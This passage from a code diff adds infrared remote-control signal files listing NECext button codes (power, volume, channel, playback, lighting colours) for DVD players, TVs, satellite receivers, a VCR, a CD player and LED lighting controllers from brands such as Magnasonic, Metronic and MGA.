00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 13 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 14 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 15 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 16 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 17 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 40 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 41 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 42 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 43 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 44 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 45 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 46 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 47 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 49 00 00 00 +# +name: ran/prog +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 4A 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 4B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 4C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 43 47 00 00 +command: 4D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir new file mode 100644 index 000000000..730115f00 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: v-mode +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: hdres +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir new file mode 100644 index 000000000..305545006 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: BRIGHT- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: BRIGHT+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: G +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: W +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: G2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: R2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: G3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: FLASH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: G5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: R5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: B5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: SMOOTH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: G3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: R3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: B3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: STROBE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: G4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: R4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: B4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: FADE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir b/assets/resources/infrared/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir new file mode 100644 index 000000000..9558e5553 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 03 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 04 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 05 00 00 00 +# +name: ADD/DEL +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 06 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 08 00 00 00 +# +name: MUTE/RESET +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 09 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 0B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 0C 00 00 00 +# +name: SAP +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 0D 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 0E 00 00 00 +# +name: X_KEY_0/AM/PM +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 19 00 00 00 +# +name: Q.REV +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 1A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 1B 00 00 00 +# +name: CLK/TIM +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 1C 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 83 7A 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir new file mode 100644 index 000000000..506267cc6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: red1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: green1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: blue4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: red2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: blue1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: purple1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: orange +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0A 00 00 00 +# +name: blue2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0D 00 00 00 +# +name: blue3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0E 00 00 00 +# +name: strobe +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0F 00 00 00 +# +name: smooth +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: flash +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 11 00 00 00 +# +name: fade +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 13 00 00 00 +# +name: off +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 15 00 00 00 +# +name: purple2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 18 00 00 00 +# +name: white +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1C 00 00 00 +# +name: purple3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir b/assets/resources/infrared/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir new file mode 100644 index 000000000..3d79930fc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 03 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 07 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0E 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 0F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 11 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 12 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 14 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 15 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 17 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 19 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1C 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 1E 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 40 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 41 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 42 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 44 00 00 00 +# +name: TTX +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 45 00 00 00 +# +name: A>B +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 47 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 48 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 7F 00 00 +command: 49 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir b/assets/resources/infrared/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir new file mode 100644 index 000000000..9bac687b4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 02 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 03 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 06 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 07 00 00 00 +# +name: TB +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 0A 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 0C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 0D 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 0F 00 00 00 +# +name: VOL +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 10 00 00 00 +# +name: CH_DN +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 11 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 12 00 00 00 +# +name: FREQ +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 13 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 14 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 15 00 00 00 +# +name: PE +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 16 00 00 00 +# +name: OFFSET +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 19 00 00 00 +# +name: H/V +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 1B 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 1C 00 00 00 +# +name: KEY_2KHZ +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 1D 00 00 00 +# +name: MEM +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 1E 00 00 00 +# +name: LNB_A/B +type: parsed +protocol: NECext +address: 86 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/MGA/VCR/87,-1.ir b/assets/resources/infrared/_CSV-IRDB_/MGA/VCR/87,-1.ir new file mode 100644 index 000000000..46f76ed78 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/MGA/VCR/87,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: 2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 02 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VIDEO/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: SLOW_PLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 06 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 09 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 11 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 16 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 18 00 00 00 +# +name: 13 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 19 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 1C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 20 00 00 00 +# +name: U1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 21 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 24 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 28 00 00 00 +# +name: U2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 29 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 2C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 30 00 00 00 +# +name: U3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 31 00 00 00 +# +name: FF_ADVANCE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 34 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 38 00 00 00 +# +name: U4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir new file mode 100644 index 000000000..87f4f64a3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0B 00 00 00 +# +name: KEY_0_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/MISSION/CD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/MISSION/CD Player/20,-1.ir new file mode 100644 index 000000000..500143c6e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/MISSION/CD Player/20,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir b/assets/resources/infrared/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir new file mode 100644 index 000000000..5dd033d27 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 01 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 02 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 03 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 05 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 06 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 5F 00 00 +command: 14 00 00 00 +# +name: 